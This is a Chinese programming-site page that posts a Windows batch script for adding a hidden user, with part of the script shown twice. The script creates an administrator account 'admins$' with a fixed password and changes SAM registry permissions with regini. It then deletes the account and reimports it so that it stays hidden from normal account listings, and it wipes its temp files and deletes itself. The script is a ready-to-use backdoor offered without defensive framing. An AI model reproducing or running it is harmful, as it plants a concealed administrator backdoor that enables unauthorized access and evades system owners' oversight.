首页 > 编程 > BAT > 正文

批处理 添加隐藏用户代码

2020-07-26 20:24:40
字体:
来源:转载
供稿:网友
复制代码 代码如下:

  net user admins$ 1234567 /add
net localgroup administrators admins$ /add
Echo HKEY_LOCAL_MACHINE/SAM [1] >>c:/tem.ini
Echo HKEY_LOCAL_MACHINE/SAM/SAM [1] >>c:/tem.ini
Echo HKEY ...
  net user admins$ 1234567 /add
  net localgroup administrators admins$ /add
  Echo HKEY_LOCAL_MACHINE/SAM [1] >>c:/tem.ini
  Echo HKEY_LOCAL_MACHINE/SAM/SAM [1] >>c:/tem.ini
  Echo HKEY_LOCAL_MACHINE/SAM/SAM/Domains [1] >>c:/tem.ini
  Echo HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account [1] >>c:/tem.ini
  Echo HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users [1] >>c:/tem.ini
  Echo HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names [1] >>c:/tem.ini
  regini c:/tem.ini
  regedit /e c:/1.reg HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users
  net user admins$ /del
  regedit /s c:/1.reg
  Echo HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/Names [0] >c:/tem.ini
  Echo HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users [0] >>c:/tem.ini
  Echo HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account [0] >>c:/tem.ini
  Echo HKEY_LOCAL_MACHINE/SAM/SAM/Domains [0] >>c:/tem.ini
  Echo HKEY_LOCAL_MACHINE/SAM/SAM [0] >>c:/tem.ini
  Echo HKEY_LOCAL_MACHINE/SAM/ [0] >>c:/tem.ini
  regini c:/tem.ini
  del c:/tem.ini
  del c:/1.reg
  del %0
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表